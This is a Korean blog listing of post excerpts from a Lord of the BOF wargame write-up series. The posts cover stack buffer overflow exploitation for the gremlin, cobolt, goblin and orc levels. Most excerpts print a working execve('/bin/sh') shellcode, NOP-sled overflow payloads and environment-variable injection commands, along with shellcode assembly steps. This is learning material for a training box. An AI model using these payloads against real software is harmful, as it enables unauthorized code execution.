본문 바로가기

Wargame/The Lord of the BOF8

LOB - 03 goblin - (2)환경 변수 이용 [goblin - small buffer + stdin]cobolt : hacking exposed 이번에는 'LOB - 03 goblin' 문제를 환경 변수를 이용하여 풀 것이다.터미널에서 아래와 같이 export를 하면 환경변수를 설정할 수 있다. 먼저 sh에 쉘코드를 넣어두었다. export sh=`python -c 'print "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 이제 sh의 주소를 알아오기 위해 간단한 코드를 작성하였다. 컴파일한 뒤, 실행하면 아.. 2019. 2. 1.
LOB - 04 orc [orc - egghunter]goblin : hackers proof goblin으로 로그인하면 아래와 같은 orc 코드를 볼 수 있다. 먼저 environ은 환경변수 array의 포인터이다. man environ 자세한 설명은 man 페이지를 참고하면 된다. 다시 코드를 보면, 환경변수를 초기화하고 argv[1][47]의 값을 확인하는 것을 볼 수 있다.따라서 이번 문제에서는 'LOB - 03 goblin - (2)환경 변수 이용'과 같이 풀 수는 없을 것으로 보인다. 버퍼와 sfp까지 총 44바이트의 공간에 쉘코드를 넣을 수 있고 eip에는 0xbf로 시작하는 주소를 넣어주면 된다.먼저 아래와 같이 실행을 해보았다. ./aaa `python -c 'print "A"*47 + "\xbf"'` gdb로.. 2019. 2. 1.
LOB - 03 goblin [goblin - small buffer + stdin]cobolt : hacking exposed 위의 id와 password로 로그인하면아래와 같이 goblin 코드를 볼 수 있다. 'LOB - 02 cobolt' 와 유사한 문제이며, stdin으로 입력 받는다는 차이가 있다.cobolt 문제와 같이 권한 문제로 먼저 tmp 디렉토리를 만든 뒤 바이너리를 복사한다. 그 뒤, buffer 16 바이트와 sfp 4바이트를 A로 채우고eip 자리에 B를 넣은 뒤 쉘코드를 입력한다. mkdir tmp cp goblin ./tmp/goblin cd tmp python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\x.. 2019. 2. 1.
LOB - 02 cobolt [cobolt - small buffer]gremlin : hello bof world 먼저 cobolt.c의 코드는 아래와 같다. 코드를 보면 크기가 16인 버퍼에 strcpy()를 하는 것을 볼 수 있다.이 때, 버퍼의 크기를 고려하지 않고 복사하기 때문에 20바이트를 덮으면 eip를 바꿀 수 있다.20바이트에 쉘코드를 담기에는 버퍼가 작기 때문에 eip 뒤쪽에 쉘코드를 넣어 보았다. 따라서 A를 20개 채우고, eip 자리에 우선 B를 넣어둔 뒤\x90을 100개 정도 쓴 뒤에 쉘코드를 넣었다. ./aaaaaa `python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01.. 2019. 2. 1.
LOB - 01 gremlin - (3)마무리 # core 파일 생성ulimit -c unlimited # 쉘코드\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'LOB - 01 gremlin - (1)스택 구조 파악' 글에 이어 작성하려고 한다.먼저 실행 파일이 gate가 아닌 gremlin의 권한으로 되어 있기 때문에분석을 위해 tmp 디렉토리를 만들고 실행파일을 복사한다. 'LOB - 01 gremlin - (1)스택 구조 파악' 에서는 A로 260개를 채웠지만,이번에는 뒤쪽에 쉘코드를 넣은 뒤, 앞을 \x90으로 채우고 eip 자리를 A.. 2019. 2. 1.
LOB - 01 gremlin - (2.2)쉘코드 수정 이번에 작성할 코드도 'LOB - 01 gremlin - (2.1)쉘코드 작성'과 동일하게 execve('/bin/sh') 이다. 이번에는 data 영역 대신 call 명령어를 이용할 것이다. 설명에 앞서 작성한 코드는 아래와 같다. 이번에는 call 명령어를 이용한다.call은 call하는 주소로 점프하기 전에 call 아래에 있는 명령어의 주소를 스택에 push한다. 따라서 위의 코드의 경우 "/bin/sh" 스트링이 담긴 주소가 스택에 push된다.그리고 main에서 pop을 하면 ebx에 "/bin/sh"의 주소가 담기게 된다.eax, ecx, edx와 관련된 부분은 이전과 동일하다. # objdump 이용 for i in $(objdump -d shell | grep "^ " | cut -f 2.. 2019. 2. 1.
LOB - 01 gremlin - (2.1)쉘코드 작성 vi shell.s # sudo apt-get install nasm nasm -f elf32 shell.s ld -m elf_i386 -o shell shell.o 지금 작성할 코드는 execve(’/bin/sh’)이다.시스템콜의 호출을 위해 int 80을 수행한다. 이 때, linux syscall table을 참고하여 systemcall 번호는 eax에 나머지 인자들은 각각 해당하는 레지스터에 값을 넣어주어야 한다.sys_execve는 11번이므로 eax에 0xb를 넣게 된다. 그리고 execve()의 man page와 table을 참고하여 인자를 넣어준다. ’/bin/sh’ 문자열은 .data 영역에 저장한 뒤 ebx에 넣어주었다. eax는 xor의 결과로 0이 들어 있다.ecx와 edx의 경우 .. 2019. 2. 1.
LOB - 01 gremlin - (1)스택 구조 파악 [simple BOF]먼저 gremlin.c의 코드를 보면 다음과 같다. buffer의 크기가 256인데 strcpy()를 사용하기 때문에 buffer overflow를 발생시킨다. 참고) 이 때 stack 상태는 다음과 같다. 따라서 buffer에 strcpy()하는 것을 이용하여 ret 부분을 덮으면 된다. buffer ~ ret 직전까지 260바이트가 존재하는 것으로 보이지만 실제 size를 알아볼 필요가 있다. 실제로 buffer와 ret가 떨어진 바이트 수를 계산할 때는 (main 진입 직전의 esp) - (strcpy 호출 직전의 esp에 저장된 값) 을 이용한다.main 진입 직전의 esp: push ebp를 하기 이전의 상태로 스택에 ret까지 쌓인 상태 strcpy 호출 직전의 esp에 .. 2019. 2. 1.